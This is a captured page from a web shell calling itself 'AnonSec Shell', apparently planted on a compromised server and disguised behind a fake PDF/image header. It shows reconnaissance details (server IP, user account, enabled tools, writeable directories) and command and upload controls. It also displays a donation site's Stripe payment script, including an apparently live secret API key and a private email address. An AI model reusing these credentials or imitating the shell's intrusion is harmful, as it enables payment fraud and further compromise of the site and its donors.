%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/stripe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/stripe/create.php
<?php
session_start();
include($_SERVER["DOCUMENT_ROOT"].'/dons.class.php');
include($_SERVER["DOCUMENT_ROOT"].'/PHPMailer/src/PHPMailer.php');
//include($_SERVER["DOCUMENT_ROOT"].'/inc/no_ssl.php');  //ssl_only.php //no_ssl.php
require_once($_SERVER["DOCUMENT_ROOT"].'/Connections/french.php'); 

require 'vendor/autoload.php';

// This is a sample test API key.
//\Stripe\Stripe::setApiKey('sk_test_51JzK5GEA3nV4XDIZ3OfgAPj2SkIQTBATlwiXuBYIJbDDI7D3obEeKmsUtgd0tcZYbg3LstoKFBTQkQYGYRgcdH3S005UIY9Wax');
\Stripe\Stripe::setApiKey('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');

header('Content-Type: application/json');

try {
    // retrieve JSON from POST body
    $jsonStr = file_get_contents('php://input');
    $jsonObj = json_decode($jsonStr);
	
	$don= new dons;
	$don->id_dons=$_SESSION['id_dons'];
	$don->lecture();
	
	// Create a PaymentIntent with amount and currency
	$paymentArray = [
        'amount' => $don->montant*100,
        'currency' => ($don->currency ?? 'eur'),
        'customer' => $don->id,
        'description' => addslashes($don->nom.' '.$don->prenom.' - '.$don->email),
        'receipt_email' => addslashes($don->email),
        'automatic_payment_methods' => [
            'enabled' => true,
        ]
    ];

    $paymentIntent = \Stripe\PaymentIntent::create($paymentArray);
	

    $output = [
        'clientSecret' => $paymentIntent->client_secret
    ];
	
	$stripeDatas = [
        'client_secret' => $paymentIntent->client_secret,
		'payment_intent' => $paymentIntent->id
    ];
	
	$don->insertStripeDatas($stripeDatas);
	
	$messageelie='-CREATE-';
	$array = json_decode(json_encode($paymentIntent), true);
	while (list($key, $val) = each($array)) {
		$messageelie .= "$key => $val\n";
	}

	$pMail = new PHPMailer();
	$pMail->IsHTML(true);
	$pMail->IsMail();
	$pMail->From = "no-response@meirpanim.fr";
	$pMail->AddReplyTo = "no-response@meirpanim.fr";
	$pMail->FromName = 'meirpanim.fr';
	$pMail->Subject = "Nouveau don sur meirpanim.fr";
	$pMail->Body = $messageelie;
	$pMail->AddAddress('malkaelie@gmail.com');
	$pMail->Send(); 

	
    echo json_encode($output);
		
} catch (Error $e) {
    http_response_code(500);
    echo json_encode(['error' => $e->getMessage()]);
}

Anon7 - 2022
AnonSec Team